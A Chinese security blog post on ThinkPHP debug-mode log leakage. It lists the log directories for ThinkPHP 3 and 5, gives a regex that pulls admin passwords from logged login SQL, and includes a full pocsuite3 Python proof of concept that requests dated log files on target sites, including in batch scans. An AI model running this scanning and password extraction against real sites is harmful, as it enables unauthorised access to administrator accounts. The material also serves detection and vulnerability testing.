漏洞简介
thinkphp在开启DEBUG的情况下会在Runtime目录下生成日志,虽然Thinkphp官方一再强调生产模式下需要关闭debug,但很多管理员还是忘记关闭。
ThinkPHP3日志目录:
- /Runtime/Logs/
- /App/Runtime/Logs/
- /Application/Runtime/Logs/Admin/
- /Application/Runtime/Logs/Home/
- /Application/Runtime/Logs/
- ...
日志格式为:/App/Runtime/Logs/21_05_17.log
ThinkPHP5日志目录:
- /runtime/log/
日志格式为:/runtime/log/202105/17.log
通过查看日志内容可以发现管理员登录时的SQL语句,进而获取管理员的密码
检测POC
把TP3和TP5的检测POC写在一起了,正则匹配出密码的这一步没有做,因为不同网站的查询SQL语句不一样,很难做到一个正则匹配完全。
常规的密码正则匹配如下
password_pattern = r"`username` = '{}' \) AND \( `password` = '(.*?)'".format(username)
基于pocsuite3的日志检测POC(检测是否有本月内的日志)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2022/2/26 12:46
# @Author : Cl0udG0d
# @File : thinkphp日志泄露.py
# @Github: https://github.com/Cl0udG0d
from pocsuite3.api import requests
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase, logger
import ssl
import datetime
ssl._create_default_https_context = ssl._create_unverified_context
class TestPOC(POCBase):
vulLevel = 3
vulID = ''
version = '1.0'
vulDate = ''
references = ['']
name = 'thinkphp日志泄露'
appPowerLink = ''
appName = 'thinkphp'
appVersion = ''
vulType = '敏感信息泄露'
desc = '''
'''
samples = ['']
def getTPLogFilename(self,version):
now_year = datetime.datetime.now().year
now_month = datetime.datetime.now().month
now_day = datetime.datetime.now().day
begin_date = datetime.date(now_year, now_month, 1)
end_date = datetime.date(now_year, now_month, now_day)
date_list = [begin_date + datetime.timedelta(days=i) for i in range((end_date - begin_date).days + 1)]
filename_list = []
for date in date_list:
if version == 3:
filename_list.append(
"{:0>2d}_{:0>2d}_{:0>2d}.log".format(int(str(date.year)[2:]), date.month, date.day))
elif version == 5:
filename_list.append("{}{:0>2d}/{:0>2d}.log".format(date.year, date.month, date.day))
return filename_list
def _verify(self):
result = {}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36',
}
log_path_list = {
'3': ['/Runtime/Logs/', '/App/Runtime/Logs/', '/Application/Runtime/Logs/Admin/',
'/Application/Runtime/Logs/Home/', '/Application/Runtime/Logs/'],
'5': ['/runtime/log/'],
}
for temppath in log_path_list['3']:
filename_list=self.getTPLogFilename(3)
for filename in filename_list:
logpath=temppath+filename
vulurl = "{}{}".format(
self.url.rstrip('/'), logpath)
logger.info("Scan {}".format(vulurl))
try:
resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False)
if "INFO" in resp.text and resp.status_code==200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = vulurl
return self.parse_attack(result)
except Exception as e:
logger.error("connect target '{} failed!'".format(vulurl))
pass
for temppath in log_path_list['5']:
filename_list=self.getTPLogFilename(5)
for filename in filename_list:
logpath=temppath+filename
vulurl = "{}{}".format(
self.url.rstrip('/'), logpath)
logger.info("Scan {}".format(vulurl))
try:
resp = requests.get(url=vulurl, headers=headers, timeout=3, verify=False)
if "INFO" in resp.text and resp.status_code==200:
result['VerifyInfo'] = {}
result['VerifyInfo']['url'] = vulurl
return self.parse_attack(result)
except Exception as e:
logger.error("connect target '{} failed!'".format(vulurl))
pass
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(TestPOC)
检测效果
单个检测:
放到扫描器里面批量检测如图:
参考链接
- https://blog.csdn.net/weixin_40412037/article/details/113885372
- https://github.com/r3change/TPLogScan
- https://github.com/yui77111/TP-log
END
建了一个微信的安全交流群,欢迎添加我微信备注进群
,一起来聊天吹水哇,以及一个会发布安全相关内容的公众号,欢迎关注